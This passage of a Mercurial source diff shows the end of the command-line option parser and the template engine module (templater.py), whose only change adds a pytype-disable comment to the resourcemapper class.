     for option in options:
         if len(option) == 5:
             short, name, default, comment, dummy = option
         else:
             short, name, default, comment = option
         # convert opts to getopt format
         onames = [name]
         onames.extend(optaliases.get(name, []))
         name = name.replace(b'-', b'_')
 
         argmap[b'-' + short] = name
         for n in onames:
             argmap[b'--' + n] = name
         defmap[name] = _defaultopt(default)
 
         # copy defaults to state
         state[name] = defmap[name].getdefaultvalue()
 
         # does it take a parameter?
         if not defmap[name]._isboolopt():
             if short:
                 short += b':'
             onames = [n + b'=' for n in onames]
         elif name not in nevernegate:
             for n in onames:
                 if n.startswith(b'no-'):
                     insert = n[3:]
                 else:
                     insert = b'no-' + n
                 # backout (as a practical example) has both --commit and
                 # --no-commit options, so we don't want to allow the
                 # negations of those flags.
                 if insert not in alllong:
                     assert (b'--' + n) not in negations
                     negations[b'--' + insert] = b'--' + n
                     namelist.append(insert)
         if short:
             shortlist += short
         if name:
             namelist.extend(onames)
 
     # parse arguments
     if early:
         parse = functools.partial(earlygetopt, gnu=gnu)
     elif gnu:
         parse = pycompat.gnugetoptb
     else:
         parse = pycompat.getoptb
     opts, args = parse(args, shortlist, namelist)
 
     # transfer result to state
     for opt, val in opts:
         boolval = True
         negation = negations.get(opt, False)
         if negation:
             opt = negation
             boolval = False
         name = argmap[opt]
         obj = defmap[name]
         if obj._isboolopt():
             state[name] = boolval
         else:
 
             def abort(s):
                 raise error.Abort(
                     _(b'invalid value %r for option %s, %s')
                     % (pycompat.maybebytestr(val), opt, s)
                 )
 
             state[name] = defmap[name].newstate(state[name], val, abort)
 
     # return unparsed args
     return args

mercurial/templater.py

@@ -1,1094 +1,1094 b''
 # templater.py - template expansion for output
 #
 # Copyright 2005, 2006 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Slightly complicated template engine for commands and hgweb
 
 This module provides low-level interface to the template engine. See the
 formatter and cmdutil modules if you are looking for high-level functions
 such as ``cmdutil.rendertemplate(ctx, tmpl)``.
 
 Internal Data Types
 -------------------
 
 Template keywords and functions take a dictionary of current symbols and
 resources (a "mapping") and return result. Inputs and outputs must be one
 of the following data types:
 
 bytes
     a byte string, which is generally a human-readable text in local encoding.
 
 generator
     a lazily-evaluated byte string, which is a possibly nested generator of
     values of any printable types, and  will be folded by ``stringify()``
     or ``flatten()``.
 
 None
     sometimes represents an empty value, which can be stringified to ''.
 
 True, False, int, float
     can be stringified as such.
 
 wrappedbytes, wrappedvalue
     a wrapper for the above printable types.
 
 date
     represents a (unixtime, offset) tuple.
 
 hybrid
     represents a list/dict of printable values, which can also be converted
     to mappings by % operator.
 
 hybriditem
     represents a scalar printable value, also supports % operator.
 
 mappinggenerator, mappinglist
     represents mappings (i.e. a list of dicts), which may have default
     output format.
 
 mappingdict
     represents a single mapping (i.e. a dict), which may have default output
     format.
 
 mappingnone
     represents None of Optional[mappable], which will be mapped to an empty
     string by % operation.
 
 mappedgenerator
     a lazily-evaluated list of byte strings, which is e.g. a result of %
     operation.
 """
 
 from __future__ import absolute_import, print_function
 
 import abc
 import os
 
 from .i18n import _
 from .pycompat import getattr
 from . import (
     config,
     encoding,
     error,
     parser,
     pycompat,
     templatefilters,
     templatefuncs,
     templateutil,
     util,
 )
 from .utils import stringutil
 
 # template parsing
 
 elements = {
     # token-type: binding-strength, primary, prefix, infix, suffix
     b"(": (20, None, (b"group", 1, b")"), (b"func", 1, b")"), None),
     b".": (18, None, None, (b".", 18), None),
     b"%": (15, None, None, (b"%", 15), None),
     b"|": (15, None, None, (b"|", 15), None),
     b"*": (5, None, None, (b"*", 5), None),
     b"/": (5, None, None, (b"/", 5), None),
     b"+": (4, None, None, (b"+", 4), None),
     b"-": (4, None, (b"negate", 19), (b"-", 4), None),
     b"=": (3, None, None, (b"keyvalue", 3), None),
     b",": (2, None, None, (b"list", 2), None),
     b")": (0, None, None, None, None),
     b"integer": (0, b"integer", None, None, None),
     b"symbol": (0, b"symbol", None, None, None),
     b"string": (0, b"string", None, None, None),
     b"template": (0, b"template", None, None, None),
     b"end": (0, None, None, None, None),
 }
 
 
 def tokenize(program, start, end, term=None):
     """Parse a template expression into a stream of tokens, which must end
     with term if specified"""
     pos = start
     program = pycompat.bytestr(program)
     while pos < end:
         c = program[pos]
         if c.isspace():  # skip inter-token whitespace
             pass
         elif c in b"(=,).%|+-*/":  # handle simple operators
             yield (c, None, pos)
         elif c in b'"\'':  # handle quoted templates
             s = pos + 1
             data, pos = _parsetemplate(program, s, end, c)
             yield (b'template', data, s)
             pos -= 1
         elif c == b'r' and program[pos : pos + 2] in (b"r'", b'r"'):
             # handle quoted strings
             c = program[pos + 1]
             s = pos = pos + 2
             while pos < end:  # find closing quote
                 d = program[pos]
                 if d == b'\\':  # skip over escaped characters
                     pos += 2
                     continue
                 if d == c:
                     yield (b'string', program[s:pos], s)
                     break
                 pos += 1
             else:
                 raise error.ParseError(_(b"unterminated string"), s)
         elif c.isdigit():
             s = pos
             while pos < end:
                 d = program[pos]
                 if not d.isdigit():
                     break
                 pos += 1
             yield (b'integer', program[s:pos], s)
             pos -= 1
         elif (
             c == b'\\'
             and program[pos : pos + 2] in (br"\'", br'\"')
             or c == b'r'
             and program[pos : pos + 3] in (br"r\'", br'r\"')
         ):
             # handle escaped quoted strings for compatibility with 2.9.2-3.4,
             # where some of nested templates were preprocessed as strings and
             # then compiled. therefore, \"...\" was allowed. (issue4733)
             #
             # processing flow of _evalifliteral() at 5ab28a2e9962:
             # outer template string    -> stringify()  -> compiletemplate()
             # ------------------------    ------------    ------------------
             # {f("\\\\ {g(\"\\\"\")}"}    \\ {g("\"")}    [r'\\', {g("\"")}]
             #             ~~~~~~~~
             #             escaped quoted string
             if c == b'r':
                 pos += 1
                 token = b'string'
             else:
                 token = b'template'
             quote = program[pos : pos + 2]
             s = pos = pos + 2
             while pos < end:  # find closing escaped quote
                 if program.startswith(b'\\\\\\', pos, end):
                     pos += 4  # skip over double escaped characters
                     continue
                 if program.startswith(quote, pos, end):
                     # interpret as if it were a part of an outer string
                     data = parser.unescapestr(program[s:pos])
                     if token == b'template':
                         data = _parsetemplate(data, 0, len(data))[0]
                     yield (token, data, s)
                     pos += 1
                     break
                 pos += 1
             else:
                 raise error.ParseError(_(b"unterminated string"), s)
         elif c.isalnum() or c in b'_':
             s = pos
             pos += 1
             while pos < end:  # find end of symbol
                 d = program[pos]
                 if not (d.isalnum() or d == b"_"):
                     break
                 pos += 1
             sym = program[s:pos]
             yield (b'symbol', sym, s)
             pos -= 1
         elif c == term:
             yield (b'end', None, pos)
             return
         else:
             raise error.ParseError(_(b"syntax error"), pos)
         pos += 1
     if term:
         raise error.ParseError(_(b"unterminated template expansion"), start)
     yield (b'end', None, pos)
 
 
 def _parsetemplate(tmpl, start, stop, quote=b''):
     r"""
     >>> _parsetemplate(b'foo{bar}"baz', 0, 12)
     ([('string', 'foo'), ('symbol', 'bar'), ('string', '"baz')], 12)
     >>> _parsetemplate(b'foo{bar}"baz', 0, 12, quote=b'"')
     ([('string', 'foo'), ('symbol', 'bar')], 9)
     >>> _parsetemplate(b'foo"{bar}', 0, 9, quote=b'"')
     ([('string', 'foo')], 4)
     >>> _parsetemplate(br'foo\"bar"baz', 0, 12, quote=b'"')
     ([('string', 'foo"'), ('string', 'bar')], 9)
     >>> _parsetemplate(br'foo\\"bar', 0, 10, quote=b'"')
     ([('string', 'foo\\')], 6)
     """
     parsed = []
     for typ, val, pos in _scantemplate(tmpl, start, stop, quote):
         if typ == b'string':
             parsed.append((typ, val))
         elif typ == b'template':
             parsed.append(val)
         elif typ == b'end':
             return parsed, pos
         else:
             raise error.ProgrammingError(b'unexpected type: %s' % typ)
     raise error.ProgrammingError(b'unterminated scanning of template')
 
 
 def scantemplate(tmpl, raw=False):
     r"""Scan (type, start, end) positions of outermost elements in template
 
     If raw=True, a backslash is not taken as an escape character just like
     r'' string in Python. Note that this is different from r'' literal in
     template in that no template fragment can appear in r'', e.g. r'{foo}'
     is a literal '{foo}', but ('{foo}', raw=True) is a template expression
     'foo'.
 
     >>> list(scantemplate(b'foo{bar}"baz'))
     [('string', 0, 3), ('template', 3, 8), ('string', 8, 12)]
     >>> list(scantemplate(b'outer{"inner"}outer'))
     [('string', 0, 5), ('template', 5, 14), ('string', 14, 19)]
     >>> list(scantemplate(b'foo\\{escaped}'))
     [('string', 0, 5), ('string', 5, 13)]
     >>> list(scantemplate(b'foo\\{escaped}', raw=True))
     [('string', 0, 4), ('template', 4, 13)]
     """
     last = None
     for typ, val, pos in _scantemplate(tmpl, 0, len(tmpl), raw=raw):
         if last:
             yield last + (pos,)
         if typ == b'end':
             return
         else:
             last = (typ, pos)
     raise error.ProgrammingError(b'unterminated scanning of template')
 
 
 def _scantemplate(tmpl, start, stop, quote=b'', raw=False):
     """Parse template string into chunks of strings and template expressions"""
     sepchars = b'{' + quote
     unescape = [parser.unescapestr, pycompat.identity][raw]
     pos = start
     p = parser.parser(elements)
     try:
         while pos < stop:
             n = min(
                 (tmpl.find(c, pos, stop) for c in pycompat.bytestr(sepchars)),
                 key=lambda n: (n < 0, n),
             )
             if n < 0:
                 yield (b'string', unescape(tmpl[pos:stop]), pos)
                 pos = stop
                 break
             c = tmpl[n : n + 1]
             bs = 0  # count leading backslashes
             if not raw:
                 bs = (n - pos) - len(tmpl[pos:n].rstrip(b'\\'))
             if bs % 2 == 1:
                 # escaped (e.g. '\{', '\\\{', but not '\\{')
                 yield (b'string', unescape(tmpl[pos : n - 1]) + c, pos)
                 pos = n + 1
                 continue
             if n > pos:
                 yield (b'string', unescape(tmpl[pos:n]), pos)
             if c == quote:
                 yield (b'end', None, n + 1)
                 return
 
             parseres, pos = p.parse(tokenize(tmpl, n + 1, stop, b'}'))
             if not tmpl.startswith(b'}', pos):
                 raise error.ParseError(_(b"invalid token"), pos)
             yield (b'template', parseres, n)
             pos += 1
 
         if quote:
             raise error.ParseError(_(b"unterminated string"), start)
     except error.ParseError as inst:
         _addparseerrorhint(inst, tmpl)
         raise
     yield (b'end', None, pos)
 
 
 def _addparseerrorhint(inst, tmpl):
     if len(inst.args) <= 1:
         return  # no location
     loc = inst.args[1]
     # Offset the caret location by the number of newlines before the
     # location of the error, since we will replace one-char newlines
     # with the two-char literal r'\n'.
     offset = tmpl[:loc].count(b'\n')
     tmpl = tmpl.replace(b'\n', br'\n')
     # We want the caret to point to the place in the template that
     # failed to parse, but in a hint we get a open paren at the
     # start. Therefore, we print "loc + 1" spaces (instead of "loc")
     # to line up the caret with the location of the error.
     inst.hint = tmpl + b'\n' + b' ' * (loc + 1 + offset) + b'^ ' + _(b'here')
 
 
 def _unnesttemplatelist(tree):
     """Expand list of templates to node tuple
 
     >>> def f(tree):
     ...     print(pycompat.sysstr(prettyformat(_unnesttemplatelist(tree))))
     >>> f((b'template', []))
     (string '')
     >>> f((b'template', [(b'string', b'foo')]))
     (string 'foo')
     >>> f((b'template', [(b'string', b'foo'), (b'symbol', b'rev')]))
     (template
       (string 'foo')
       (symbol 'rev'))
     >>> f((b'template', [(b'symbol', b'rev')]))  # template(rev) -> str
     (template
       (symbol 'rev'))
     >>> f((b'template', [(b'template', [(b'string', b'foo')])]))
     (string 'foo')
     """
     if not isinstance(tree, tuple):
         return tree
     op = tree[0]
     if op != b'template':
         return (op,) + tuple(_unnesttemplatelist(x) for x in tree[1:])
 
     assert len(tree) == 2
     xs = tuple(_unnesttemplatelist(x) for x in tree[1])
     if not xs:
         return (b'string', b'')  # empty template ""
     elif len(xs) == 1 and xs[0][0] == b'string':
         return xs[0]  # fast path for string with no template fragment "x"
     else:
         return (op,) + xs
 
 
 def parse(tmpl):
     """Parse template string into tree"""
     parsed, pos = _parsetemplate(tmpl, 0, len(tmpl))
     assert pos == len(tmpl), b'unquoted template should be consumed'
     return _unnesttemplatelist((b'template', parsed))
 
 
 def parseexpr(expr):
     """Parse a template expression into tree
 
     >>> parseexpr(b'"foo"')
     ('string', 'foo')
     >>> parseexpr(b'foo(bar)')
     ('func', ('symbol', 'foo'), ('symbol', 'bar'))
     >>> parseexpr(b'foo(')
     Traceback (most recent call last):
       ...
     ParseError: ('not a prefix: end', 4)
     >>> parseexpr(b'"foo" "bar"')
     Traceback (most recent call last):
       ...
     ParseError: ('invalid token', 7)
     """
     try:
         return _parseexpr(expr)
     except error.ParseError as inst:
         _addparseerrorhint(inst, expr)
         raise
 
 
 def _parseexpr(expr):
     p = parser.parser(elements)
     tree, pos = p.parse(tokenize(expr, 0, len(expr)))
     if pos != len(expr):
         raise error.ParseError(_(b'invalid token'), pos)
     return _unnesttemplatelist(tree)
 
 
 def prettyformat(tree):
     return parser.prettyformat(tree, (b'integer', b'string', b'symbol'))
 
 
 def compileexp(exp, context, curmethods):
     """Compile parsed template tree to (func, data) pair"""
     if not exp:
         raise error.ParseError(_(b"missing argument"))
     t = exp[0]
     return curmethods[t](exp, context)
 
 
 # template evaluation
 
 
 def getsymbol(exp):
     if exp[0] == b'symbol':
         return exp[1]
     raise error.ParseError(_(b"expected a symbol, got '%s'") % exp[0])
 
 
 def getlist(x):
     if not x:
         return []
     if x[0] == b'list':
         return getlist(x[1]) + [x[2]]
     return [x]
 
 
 def gettemplate(exp, context):
     """Compile given template tree or load named template from map file;
     returns (func, data) pair"""
     if exp[0] in (b'template', b'string'):
         return compileexp(exp, context, methods)
     if exp[0] == b'symbol':
         # unlike runsymbol(), here 'symbol' is always taken as template name
         # even if it exists in mapping. this allows us to override mapping
         # by web templates, e.g. 'changelogtag' is redefined in map file.
         return context._load(exp[1])
     raise error.ParseError(_(b"expected template specifier"))
 
 
 def _runrecursivesymbol(context, mapping, key):
     raise error.Abort(_(b"recursive reference '%s' in template") % key)
 
 
 def buildtemplate(exp, context):
     ctmpl = [compileexp(e, context, methods) for e in exp[1:]]
     return (templateutil.runtemplate, ctmpl)
 
 
 def buildfilter(exp, context):
     n = getsymbol(exp[2])
     if n in context._filters:
         filt = context._filters[n]
         arg = compileexp(exp[1], context, methods)
         return (templateutil.runfilter, (arg, filt))
     if n in context._funcs:
         f = context._funcs[n]
         args = _buildfuncargs(exp[1], context, methods, n, f._argspec)
         return (f, args)
     raise error.ParseError(_(b"unknown function '%s'") % n)
 
 
 def buildmap(exp, context):
     darg = compileexp(exp[1], context, methods)
     targ = gettemplate(exp[2], context)
     return (templateutil.runmap, (darg, targ))
 
 
 def buildmember(exp, context):
     darg = compileexp(exp[1], context, methods)
     memb = getsymbol(exp[2])
     return (templateutil.runmember, (darg, memb))
 
 
 def buildnegate(exp, context):
     arg = compileexp(exp[1], context, exprmethods)
     return (templateutil.runnegate, arg)
 
 
 def buildarithmetic(exp, context, func):
     left = compileexp(exp[1], context, exprmethods)
     right = compileexp(exp[2], context, exprmethods)
     return (templateutil.runarithmetic, (func, left, right))
 
 
 def buildfunc(exp, context):
     n = getsymbol(exp[1])
     if n in context._funcs:
         f = context._funcs[n]
         args = _buildfuncargs(exp[2], context, exprmethods, n, f._argspec)
         return (f, args)
     if n in context._filters:
         args = _buildfuncargs(exp[2], context, exprmethods, n, argspec=None)
         if len(args) != 1:
             raise error.ParseError(_(b"filter %s expects one argument") % n)
         f = context._filters[n]
         return (templateutil.runfilter, (args[0], f))
     raise error.ParseError(_(b"unknown function '%s'") % n)
 
 
 def _buildfuncargs(exp, context, curmethods, funcname, argspec):
     """Compile parsed tree of function arguments into list or dict of
     (func, data) pairs
 
     >>> context = engine(lambda t: (templateutil.runsymbol, t))
     >>> def fargs(expr, argspec):
     ...     x = _parseexpr(expr)
     ...     n = getsymbol(x[1])
     ...     return _buildfuncargs(x[2], context, exprmethods, n, argspec)
     >>> list(fargs(b'a(l=1, k=2)', b'k l m').keys())
     ['l', 'k']
     >>> args = fargs(b'a(opts=1, k=2)', b'**opts')
     >>> list(args.keys()), list(args[b'opts'].keys())
     (['opts'], ['opts', 'k'])
     """
 
     def compiledict(xs):
         return util.sortdict(
             (k, compileexp(x, context, curmethods))
             for k, x in pycompat.iteritems(xs)
         )
 
     def compilelist(xs):
         return [compileexp(x, context, curmethods) for x in xs]
 
     if not argspec:
         # filter or function with no argspec: return list of positional args
         return compilelist(getlist(exp))
 
     # function with argspec: return dict of named args
     _poskeys, varkey, _keys, optkey = argspec = parser.splitargspec(argspec)
     treeargs = parser.buildargsdict(
         getlist(exp),
         funcname,
         argspec,
         keyvaluenode=b'keyvalue',
         keynode=b'symbol',
     )
     compargs = util.sortdict()
     if varkey:
         compargs[varkey] = compilelist(treeargs.pop(varkey))
     if optkey:
         compargs[optkey] = compiledict(treeargs.pop(optkey))
     compargs.update(compiledict(treeargs))
     return compargs
 
 
 def buildkeyvaluepair(exp, content):
     raise error.ParseError(_(b"can't use a key-value pair in this context"))
 
 
 def buildlist(exp, context):
     raise error.ParseError(
         _(b"can't use a list in this context"),
         hint=_(b'check place of comma and parens'),
     )
 
 
 # methods to interpret function arguments or inner expressions (e.g. {_(x)})
 exprmethods = {
     b"integer": lambda e, c: (templateutil.runinteger, e[1]),
     b"string": lambda e, c: (templateutil.runstring, e[1]),
     b"symbol": lambda e, c: (templateutil.runsymbol, e[1]),
     b"template": buildtemplate,
     b"group": lambda e, c: compileexp(e[1], c, exprmethods),
     b".": buildmember,
     b"|": buildfilter,
     b"%": buildmap,
     b"func": buildfunc,
     b"keyvalue": buildkeyvaluepair,
     b"list": buildlist,
     b"+": lambda e, c: buildarithmetic(e, c, lambda a, b: a + b),
     b"-": lambda e, c: buildarithmetic(e, c, lambda a, b: a - b),
     b"negate": buildnegate,
     b"*": lambda e, c: buildarithmetic(e, c, lambda a, b: a * b),
     b"/": lambda e, c: buildarithmetic(e, c, lambda a, b: a // b),
 }
 
 # methods to interpret top-level template (e.g. {x}, {x|_}, {x % "y"})
 methods = exprmethods.copy()
 methods[b"integer"] = exprmethods[b"symbol"]  # '{1}' as variable
 
 
 class _aliasrules(parser.basealiasrules):
     """Parsing and expansion rule set of template aliases"""
 
     _section = _(b'template alias')
     _parse = staticmethod(_parseexpr)
 
     @staticmethod
     def _trygetfunc(tree):
         """Return (name, args) if tree is func(...) or ...|filter; otherwise
         None"""
         if tree[0] == b'func' and tree[1][0] == b'symbol':
             return tree[1][1], getlist(tree[2])
         if tree[0] == b'|' and tree[2][0] == b'symbol':
             return tree[2][1], [tree[1]]
 
 
 def expandaliases(tree, aliases):
     """Return new tree of aliases are expanded"""
     aliasmap = _aliasrules.buildmap(aliases)
     return _aliasrules.expand(aliasmap, tree)
 
 
 # template engine
 
 
 def unquotestring(s):
     '''unwrap quotes if any; otherwise returns unmodified string'''
     if len(s) < 2 or s[0] not in b"'\"" or s[0] != s[-1]:
         return s
     return s[1:-1]
 
 
-class resourcemapper(object):
+class resourcemapper(object):  # pytype: disable=ignored-metaclass
     """Mapper of internal template resources"""
 
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def availablekeys(self, mapping):
         """Return a set of available resource keys based on the given mapping"""
 
     @abc.abstractmethod
     def knownkeys(self):
         """Return a set of supported resource keys"""
 
     @abc.abstractmethod
     def lookup(self, mapping, key):
         """Return a resource for the key if available; otherwise None"""
 
     @abc.abstractmethod
     def populatemap(self, context, origmapping, newmapping):
         """Return a dict of additional mapping items which should be paired
         with the given new mapping"""
 
 
 class nullresourcemapper(resourcemapper):
     def availablekeys(self, mapping):
         return set()
 
     def knownkeys(self):
         return set()
 
     def lookup(self, mapping, key):
         return None
 
     def populatemap(self, context, origmapping, newmapping):
         return {}
 
 
 class engine(object):
     '''template expansion engine.
 
     template expansion works like this. a map file contains key=value
     pairs. if value is quoted, it is treated as string. otherwise, it
     is treated as name of template file.
 
     templater is asked to expand a key in map. it looks up key, and
     looks for strings like this: {foo}. it expands {foo} by looking up
     foo in map, and substituting it. expansion is recursive: it stops
     when there is no more {foo} to replace.
 
     expansion also allows formatting and filtering.
 
     format uses key to expand each item in list. syntax is
     {key%format}.
 
     filter uses function to transform value. syntax is
     {key|filter1|filter2|...}.'''
 
     def __init__(self, loader, filters=None, defaults=None, resources=None):
         self._loader = loader
         if filters is None:
             filters = {}
         self._filters = filters
         self._funcs = templatefuncs.funcs  # make this a parameter if needed
         if defaults is None:
             defaults = {}
         if resources is None:
             resources = nullresourcemapper()
         self._defaults = defaults
         self._resources = resources
         self._cache = {}  # key: (func, data)
         self._tmplcache = {}  # literal template: (func, data)
 
     def overlaymap(self, origmapping, newmapping):
         """Create combined mapping from the original mapping and partial
         mapping to override the original"""
         # do not copy symbols which overrides the defaults depending on
         # new resources, so the defaults will be re-evaluated (issue5612)
         knownres = self._resources.knownkeys()
         newres = self._resources.availablekeys(newmapping)
         mapping = {
             k: v
             for k, v in pycompat.iteritems(origmapping)
             if (
                 k in knownres  # not a symbol per self.symbol()
                 or newres.isdisjoint(self._defaultrequires(k))
             )
         }
         mapping.update(newmapping)
         mapping.update(
             self._resources.populatemap(self, origmapping, newmapping)
         )
         return mapping
 
     def _defaultrequires(self, key):
         """Resource keys required by the specified default symbol function"""
         v = self._defaults.get(key)
         if v is None or not callable(v):
             return ()
         return getattr(v, '_requires', ())
 
     def symbol(self, mapping, key):
         """Resolve symbol to value or function; None if nothing found"""
         v = None
         if key not in self._resources.knownkeys():
             v = mapping.get(key)
         if v is None:
             v = self._defaults.get(key)
         return v
 
     def availableresourcekeys(self, mapping):
         """Return a set of available resource keys based on the given mapping"""
         return self._resources.availablekeys(mapping)
 
     def knownresourcekeys(self):
         """Return a set of supported resource keys"""
         return self._resources.knownkeys()
 
     def resource(self, mapping, key):
         """Return internal data (e.g. cache) used for keyword/function
         evaluation"""
         v = self._resources.lookup(mapping, key)
         if v is None:
             raise templateutil.ResourceUnavailable(
                 _(b'template resource not available: %s') % key
             )
         return v
 
     def _load(self, t):
         '''load, parse, and cache a template'''
         if t not in self._cache:
             x = self._loader(t)
             # put poison to cut recursion while compiling 't'
             self._cache[t] = (_runrecursivesymbol, t)
             try:
                 self._cache[t] = compileexp(x, self, methods)
             except:  # re-raises
                 del self._cache[t]
                 raise
         return self._cache[t]
 
     def _parse(self, tmpl):
         """Parse and cache a literal template"""
         if tmpl not in self._tmplcache:
             x = parse(tmpl)
             self._tmplcache[tmpl] = compileexp(x, self, methods)
         return self._tmplcache[tmpl]
 
     def preload(self, t):
         """Load, parse, and cache the specified template if available"""
         try:
             self._load(t)
             return True
         except templateutil.TemplateNotFound:
             return False
 
     def process(self, t, mapping):
         '''Perform expansion. t is name of map element to expand.
         mapping contains added elements for use during expansion. Is a
         generator.'''
         func, data = self._load(t)
         return self._expand(func, data, mapping)
 
     def expand(self, tmpl, mapping):
         """Perform expansion over a literal template
 
         No user aliases will be expanded since this is supposed to be called
         with an internal template string.
         """
         func, data = self._parse(tmpl)
         return self._expand(func, data, mapping)
 
     def _expand(self, func, data, mapping):
         # populate additional items only if they don't exist in the given
         # mapping. this is slightly different from overlaymap() because the
         # initial 'revcache' may contain pre-computed items.
         extramapping = self._resources.populatemap(self, {}, mapping)
         if extramapping:
             extramapping.update(mapping)
             mapping = extramapping
         return templateutil.flatten(self, mapping, func(self, mapping, data))
 
 
 def stylelist():
     paths = templatepaths()
     if not paths:
         return _(b'no templates found, try `hg debuginstall` for more info')
     dirlist = os.listdir(paths[0])
     stylelist = []
     for file in dirlist:
         split = file.split(b".")
         if split[-1] in (b'orig', b'rej'):
             continue
         if split[0] == b"map-cmdline":
             stylelist.append(split[1])
     return b", ".join(sorted(stylelist))
 
 
 def _readmapfile(mapfile):
     """Load template elements from the given map file"""
     if not os.path.exists(mapfile):
         raise error.Abort(
             _(b"style '%s' not found") % mapfile,
             hint=_(b"available styles: %s") % stylelist(),
         )
 
     base = os.path.dirname(mapfile)
     conf = config.config(includepaths=templatepaths())
     conf.read(mapfile, remap={b'': b'templates'})
 
     cache = {}
     tmap = {}
     aliases = []
 
     val = conf.get(b'templates', b'__base__')
     if val and val[0] not in b"'\"":
         # treat as a pointer to a base class for this style
         path = util.normpath(os.path.join(base, val))
 
         # fallback check in template paths
         if not os.path.exists(path):
             for p in templatepaths():
                 p2 = util.normpath(os.path.join(p, val))
                 if os.path.isfile(p2):
                     path = p2
                     break
                 p3 = util.normpath(os.path.join(p2, b"map"))
                 if os.path.isfile(p3):
                     path = p3
                     break
 
         cache, tmap, aliases = _readmapfile(path)
 
     for key, val in conf[b'templates'].items():
         if not val:
             raise error.ParseError(
                 _(b'missing value'), conf.source(b'templates', key)
             )
         if val[0] in b"'\"":
             if val[0] != val[-1]:
                 raise error.ParseError(
                     _(b'unmatched quotes'), conf.source(b'templates', key)
                 )
             cache[key] = unquotestring(val)
         elif key != b'__base__':
             tmap[key] = os.path.join(base, val)
     aliases.extend(conf[b'templatealias'].items())
     return cache, tmap, aliases
 
 
 class loader(object):
     """Load template fragments optionally from a map file"""
 
     def __init__(self, cache, aliases):
         if cache is None:
             cache = {}
         self.cache = cache.copy()
         self._map = {}
         self._aliasmap = _aliasrules.buildmap(aliases)
 
     def __contains__(self, key):
         return key in self.cache or key in self._map
 
     def load(self, t):
         """Get parsed tree for the given template name. Use a local cache."""
         if t not in self.cache:
             try:
                 self.cache[t] = util.readfile(self._map[t])
             except KeyError as inst:
                 raise templateutil.TemplateNotFound(
                     _(b'"%s" not in template map') % inst.args[0]
                 )
             except IOError as inst:
                 reason = _(b'template file %s: %s') % (
                     self._map[t],
                     stringutil.forcebytestr(inst.args[1]),
                 )
                 raise IOError(inst.args[0], encoding.strfromlocal(reason))
         return self._parse(self.cache[t])
 
     def _parse(self, tmpl):
         x = parse(tmpl)
         if self._aliasmap:
             x = _aliasrules.expand(self._aliasmap, x)
         return x
 
     def _findsymbolsused(self, tree, syms):
         if not tree:
             return
         op = tree[0]
         if op == b'symbol':
             s = tree[1]
             if s in syms[0]:
                 return  # avoid recursion: s -> cache[s] -> s
             syms[0].add(s)
             if s in self.cache or s in self._map:
                 # s may be a reference for named template
                 self._findsymbolsused(self.load(s), syms)
             return
         if op in {b'integer', b'string'}:
             return
         # '{arg|func}' == '{func(arg)}'
         if op == b'|':
             syms[1].add(getsymbol(tree[2]))
             self._findsymbolsused(tree[1], syms)
             return
         if op == b'func':
             syms[1].add(getsymbol(tree[1]))
             self._findsymbolsused(tree[2], syms)
             return
         for x in tree[1:]:
             self._findsymbolsused(x, syms)
 
     def symbolsused(self, t):
         """Look up (keywords, filters/functions) referenced from the name
         template 't'
 
         This may load additional templates from the map file.
         """
         syms = (set(), set())
         self._findsymbolsused(self.load(t), syms)
         return syms
 
 
 class templater(object):
     def __init__(
         self,
         filters=None,
         defaults=None,
         resources=None,
         cache=None,
         aliases=(),
         minchunk=1024,
         maxchunk=65536,
     ):
         """Create template engine optionally with preloaded template fragments
 
         - ``filters``: a dict of functions to transform a value into another.
         - ``defaults``: a dict of symbol values/functions; may be overridden
           by a ``mapping`` dict.
         - ``resources``: a resourcemapper object to look up internal data
           (e.g. cache), inaccessible from user template.
         - ``cache``: a dict of preloaded template fragments.
         - ``aliases``: a list of alias (name, replacement) pairs.
 
         self.cache may be updated later to register additional template
         fragments.
         """
         allfilters = templatefilters.filters.copy()
         if filters:
             allfilters.update(filters)
         self._loader = loader(cache, aliases)
         self._proc = engine(self._loader.load, allfilters, defaults, resources)
         self._minchunk, self._maxchunk = minchunk, maxchunk
 
     @classmethod
     def frommapfile(
         cls,
         mapfile,
         filters=None,
         defaults=None,
         resources=None,
         cache=None,
         minchunk=1024,
         maxchunk=65536,
     ):
         """Create templater from the specified map file"""
         t = cls(filters, defaults, resources, cache, [], minchunk, maxchunk)
         cache, tmap, aliases = _readmapfile(mapfile)
         t._loader.cache.update(cache)
         t._loader._map = tmap
         t._loader._aliasmap = _aliasrules.buildmap(aliases)
         return t
 
     def __contains__(self, key):
         return key in self._loader
 
     @property
     def cache(self):
         return self._loader.cache
 
     # for highlight extension to insert one-time 'colorize' filter
     @property
     def _filters(self):
         return self._proc._filters
 
     @property
     def defaults(self):
         return self._proc._defaults
 
     def load(self, t):
         """Get parsed tree for the given template name. Use a local cache."""
         return self._loader.load(t)
 
     def symbolsuseddefault(self):
         """Look up (keywords, filters/functions) referenced from the default
         unnamed template
 
         This may load additional templates from the map file.
         """
         return self.symbolsused(b'')
 
     def symbolsused(self, t):
         """Look up (keywords, filters/functions) referenced from the name
         template 't'
 
         This may load additional templates from the map file.
         """
         return self._loader.symbolsused(t)
 
     def renderdefault(self, mapping):
         """Render the default unnamed template and return result as string"""
         return self.render(b'', mapping)
 
     def render(self, t, mapping):
         """Render the specified named template and return result as string"""
         return b''.join(self.generate(t, mapping))
 
     def generate(self, t, mapping):
         """Return a generator that renders the specified named template and
         yields chunks"""
         stream = self._proc.process(t, mapping)
         if self._minchunk:
             stream = util.increasingchunks(
                 stream, min=self._minchunk, max=self._maxchunk
             )
         return stream
 
 
 def templatepaths():
     '''return locations used for template files.'''
     pathsrel = [b'templates']
     paths = [os.path.normpath(os.path.join(util.datapath, f)) for f in pathsrel]
     return [p for p in paths if os.path.isdir(p)]
 
 
 def templatepath(name):
     '''return location of template file. returns None if not found.'''
     for p in templatepaths():
         f = os.path.join(p, name)
         if os.path.exists(f):
             return f
     return None
 
 
 def stylemap(styles, paths=None):
     """Return path to mapfile for a given style.
 
     Searches mapfile in the following locations:
     1. templatepath/style/map
     2. templatepath/map-style
     3. templatepath/map
     """
 
     if paths is None:
         paths = templatepaths()
     elif isinstance(paths, bytes):
         paths = [paths]
 
     if isinstance(styles, bytes):
         styles = [styles]
 
     for style in styles:
         # only plain name is allowed to honor template paths
         if (
             not style
             or style in (pycompat.oscurdir, pycompat.ospardir)
             or pycompat.ossep in style
             or pycompat.osaltsep
             and pycompat.osaltsep in style
         ):
             continue
         locations = [os.path.join(style, b'map'), b'map-' + style]
         locations.append(b'map')
 
